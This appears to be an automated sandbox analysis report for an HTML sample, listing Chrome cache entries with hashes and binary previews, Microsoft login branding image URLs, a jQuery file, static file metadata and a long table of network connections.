SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 141x141, segment length 16, baseline, precision 8, 1193x671, components 3
Category:	downloaded
Size (bytes):	256712
Entropy (8bit):	7.948666441955082
Encrypted:	false
SSDEEP:	6144:eNDWVg/NQ3tL2EB8ESEB6thfJk7C42jv0GuHX:e1WG/NAt664jfJkG42DGHX
MD5:	038390E8DE0C1FBE6E10A8A33BD27E1A
SHA1:	EBBFA922C1D5FAB094D0FA8471FD658CEB253F04
SHA-256:	714000B576A3A131BC25504B8668EF448D946AAD097C9DB3FEF0B1966A8D83CA
SHA-512:	A9B1B902B058E29D45D8849C5316DBBE9050EB2F8D6BF80F09E0BEA150ADA7486E8F4112316EA7BF38EBDD078DE92EA6E60E5E91E302C000DD3E41583587F5D4
Malicious:	false
URL:	https://aadcdn.msauthimages.net/dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/illustration?ts=638116536587632547
Preview:	......JFIF.............C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....8..@?/..{3..u'....)k!.p...y..+.....e.89>..:..~z.....MN......0..8.z..U.Y.n.b:...\-..m.7g..t.s.B...'..=.9..:..S.Kdl.........F).v .;p1..O.O...R.X.......n..a.....T.8^I.J.ji{\.MG@....z._c.\~..@HQ..c.........H+...BsXZ..$....>...&..?.....S..=...g'.....q.....c......\.q..a._W...Z..s....j....c..........rN-.c..\|..2.)..sbK.pT..<g...sZ...q.\|.. ...._T.......T

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2905
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	7.811199816788843
Encrypted:	false
SSDEEP:	24:XuByTjb3w436CJvnuI5wTGPjl2kGKvu3pufqOdyq3/VYHjyK5AXn:X8yz1qCkUYo1ozgt9YHGKe
MD5:	5C7ACF60A2ACAA5C54BF2B2EC6D484D8
SHA1:	F1837FD5DB6DAD498148D7D77438DE693114B042
SHA-256:	EE21196A4F5EF64135B7998E58F1E7210608674E3FDF97B328C1C237E3B184DB
SHA-512:	11516935B1C777D6457B7FB44235F8C8A73BA1313AC8607C16D342EECAE22AE5BFD702CE01DBB2DC63C3D480E89A689C7AA6CAC8D822E306B413534FEE770A77
Malicious:	false
Preview:	..........uV.n$7......iR.+..LN9.oA..5.......nx..S...l..%[..)..=.....z.?/.._......\|{8.4M........^.~w>=>......t.....~.M;.....,....n~}=-.7........U.<>=.._.O.....y9.>.....y...wR.`8..r..q$.....KR...X.....W.....$g'". W<..$..-.2.....h04.O...\|._../.6.)..ax..X...wzT.....2..7....1....C.@8B....d.M..KS8..>... .%=...q....yWF....\..kM.H....<..&.mM..s...%.'G.n..(..h.-.I.S.K...1;..:7.xdvP..y.]....Q$..4.@.2Fp ..Oe.......=.I........F......{....`.............uC..G.....'..E.....dR..g.(.+K.q...?...O.%.@.i..."n...1 .JTm.S..wM.,../.\|H..s.....C.=.B1(.B.f..:K.\.T....c..N...sT..D....T.=..Zt..M2.).FP.h.:.+A.. ^N-$..U.K..n.u.DZ...d.C....s.n.PI..@.4.pi....G..j.5.7l6....Q$...fs....uD......F...e%..}5.S.s.n".9...e&(_.=..oq..F%L...G].....b.`..hi.S.I.8..Y%hM.\|..W....jC.-a..'..%.r..W?...a...H...5.c......v.G..v.G.a....a/.LT.Fv......7.A...@.OcV.......6xcy,l[.wkP..-E...U..J.....1j....2....C+...?.I.Q.C.kM.n...j..5{HV)I...M.G2o......5.....E_..j.....D...^b..+.U..,K2

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 280 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3666
Entropy (8bit):	7.918283721458629
Encrypted:	false
SSDEEP:	96:fP6Taa/Dvep92fj5VFuYGFVMkAOykujpbj9fEwZ/+DmJ:fyTaa/Dmp9OvuYGF6ZOykUjBh+qJ
MD5:	C9F31E87400C46F9F8FB580602328C72
SHA1:	4B538CA736FB2A88A89214AD5EB0B2B80640B5AB
SHA-256:	DDE1ACEFE23281E3715BDEE565CF1FD7064370D4BB751AB92C4ADD7D42932BBE
SHA-512:	A9EC3AFFF1F92BD76371C640C17585F9578CAF202594A7BED0FA3ABFA35A23031CDE7C347445B3FE68890AD0FFE1C8469765185C974E65440A08FA2B10797CA1
Malicious:	false
URL:	https://aadcdn.msauthimages.net/dbd5a2dd-n2kxueriy-dm8fhyf0anvulmvhi3kdbkkxqluuekyfc/logintenantbranding/0/bannerlogo?ts=636783560697171089
Preview:	.PNG........IHDR.......<............tEXtSoftware.Adobe ImageReadyq.e<....IDATx..]...U.>7P..7..B......P.."* F..I@..,]..I+@@@"K.-..<B..x1...p].Y.A<..W.....0.=...g........{g...}..g......h.1..q..j.....#..{..}.m.QE..Q(.NP..Ks.mn..].q....!...@.P(.Q(..`...B..B.P..P(..(...2..B.....(..`......d\|.j..$.A......R..P(.2..t.F...P.&..`.A...:<I..j..8Z...'Sa.......MB..e0....Yl.........c..[..............t7:?...Z.j....t.ItO..(.....ab......"0..,e$1..>.R6.)4.f........!I3.ct.)i...s\..H......WU.....?.P.D.F..Lt8K}uX.V..1...7&.`s.........lj.a}U....j..F..m.g.}.U~.\|.......z"..w.q.s..!z ....z#M..4!..D..c...UU(\......W...]..2...C..TEr..lP+..r......,.d.Q..@'.5U(H...!lq..9...$......l#~.<............o.WT.PG8.3.TEr.AD..(.`...G'..D_...T...{..m.r...e)....(.....l......0..........6.:.....2..$.....y.J.....1...+Q...p_......z...q....thf2;3'.vc.P.{b..w..!.'.GT..\|. ..tm...M......m.#......r...LA./......>..oX.m..."b;......w.6.;....@..](.n...x.>...cD.......N..hf....;ok..9.K.....D..2.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	31
Entropy (8bit):	3.86469832616696
Encrypted:	false
SSDEEP:	3:YBAvZNQaY:YwZNQaY
MD5:	2D7D30EA1C6F925302D2C3ABED382951
SHA1:	5BA6BBC5670C4AF1125CF9AC0AA1CA2811E744D1
SHA-256:	83C09BA9A8DAEDB136F90B17A294CAA90AD471A016E430DF6E229ACB5A81E100
SHA-512:	BCC7AAA8A6A27ADCBD1B3E0FCA73FC1BD727FECEAB34734E99863503D1D50936A8830C0A12D75D187614F318F46B1E67F046E89F5EB6CE727D8433A722E2C525
Malicious:	false
Preview:	{"detail":"Method Not Allowed"}

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	downloaded
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 text, with very long lines (11930), with no line terminators
Entropy (8bit):	5.183936088980307
TrID:
File name:	sample.html
File size:	11'941 bytes
MD5:	1ca46b5f878e2b6e2cd71d8296d40c8b
SHA1:	d416c1785b705bb7a594b7eaf9ab4e1f3bc768fa
SHA256:	ca14e58e997b5eb8c8eeaefd13a30fa4831ecfb806299884365f38011cd9a31a
SHA512:	0d99695bc7f0a26cc2307dca2144b72f0d1e25731626d12882a223c590f347395c5fda62205c6b0d14d4aa9848d3e816bebc7f3ec8c50293880ff7508026bfc8
SSDEEP:	192:VYimWvBB01QuJD64dowS3vUhg2W6AVDrEifClcX785TjizoireIS:VnxB06uJDH/S3chgXNFNfh85T2zprc
TLSH:	C832C681AABB1933403380D671DF2BA073D2585AF612C464B9FC87AD93EED64BD17532
File Content Preview:	<body style="display:none;"> <span class="nowrap">Preceded by</span><p>In 1951 Cowen returned to Australia and became dean of the law faculty at the University of Melbourne, a post he held until 1966 where he appointed, and worked with . During these

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 07:54:43.635287046 CEST	49706	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:43.665123940 CEST	80	49706	104.21.78.175	192.168.2.16
May 24, 2024 07:54:43.665205956 CEST	49706	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:43.667280912 CEST	49706	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:43.719477892 CEST	80	49706	104.21.78.175	192.168.2.16
May 24, 2024 07:54:43.805600882 CEST	49706	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:43.815186024 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:43.854726076 CEST	80	49706	104.21.78.175	192.168.2.16
May 24, 2024 07:54:43.859538078 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:43.859612942 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:43.859832048 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:43.911587000 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.082786083 CEST	80	49706	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.082936049 CEST	49706	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:44.861345053 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.861699104 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.862677097 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.862799883 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:44.863679886 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.863692045 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.864626884 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:44.866274118 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.866309881 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.866503954 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:44.915323973 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.915520906 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:44.941143990 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:44.942508936 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:44.946258068 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:44.949280024 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:44.949480057 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:44.951138973 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.003381968 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.004264116 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:45.004359961 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:45.004470110 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:45.004671097 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:45.004698992 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:45.360075951 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.360428095 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.360531092 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.361376047 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.362381935 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.362392902 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.362467051 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.363344908 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.363408089 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.364339113 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.364351034 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.364360094 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.364419937 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.366271019 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.366339922 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.367302895 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.367324114 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.367389917 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.369244099 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.369256973 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.369311094 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.371234894 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.371247053 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.371300936 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.423362970 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.424911022 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.495625019 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.497020960 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.498214960 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.501861095 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.506777048 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.506793022 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.506802082 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.506808043 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.506917000 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.516408920 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.516516924 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.519016981 CEST	80	49709	104.21.78.175	192.168.2.16
May 24, 2024 07:54:45.571063995 CEST	49709	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:45.754869938 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:45.755150080 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:45.755211115 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:45.756324053 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:45.756416082 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:45.757421970 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:45.757496119 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:45.757586002 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:45.757601023 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:45.797091961 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:46.060537100 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:46.060558081 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:46.060565948 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:46.060611010 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:46.060651064 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:46.060652018 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:46.060678005 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:46.060704947 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:46.060704947 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:46.060731888 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:46.061331034 CEST	49710	443	192.168.2.16	13.32.99.97
May 24, 2024 07:54:46.061362982 CEST	443	49710	13.32.99.97	192.168.2.16
May 24, 2024 07:54:46.081990004 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.082024097 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.155373096 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.155386925 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.429239988 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.430253983 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.430342913 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.432514906 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.434897900 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.435271025 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.437108994 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.437120914 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.437135935 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.437175989 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.441687107 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.441740990 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.443592072 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.443605900 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.443727970 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.447232962 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.447247982 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.447355032 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.450869083 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.450882912 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.450891972 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.450941086 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.454304934 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.454320908 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.454333067 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.454370022 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.454399109 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.457756996 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.457770109 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.457829952 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.461023092 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.461035967 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.461096048 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.464179993 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.464194059 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.464205980 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.464284897 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.467336893 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.467350006 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.467427015 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.470460892 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.470473051 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.470520020 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.473364115 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.473402023 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.473428011 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.476109982 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.476124048 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.476134062 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.476186037 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.476218939 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.519989967 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.520656109 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.520714045 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.522175074 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.523684978 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.523740053 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.525211096 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.525226116 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.525281906 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.528208017 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.529433966 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.529447079 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.529457092 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.529515982 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.529556036 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.531872034 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.531886101 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.531934023 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.534265995 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.534286022 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.534343958 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.536685944 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.536703110 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.536742926 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.539104939 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.539120913 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.539130926 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.539186954 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.541516066 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.541537046 CEST	80	49707	104.21.78.175	192.168.2.16
May 24, 2024 07:54:46.541574955 CEST	49707	80	192.168.2.16	104.21.78.175
May 24, 2024 07:54:46.543984890 CEST	80	49707	104.21.78.175	192.168.2.16
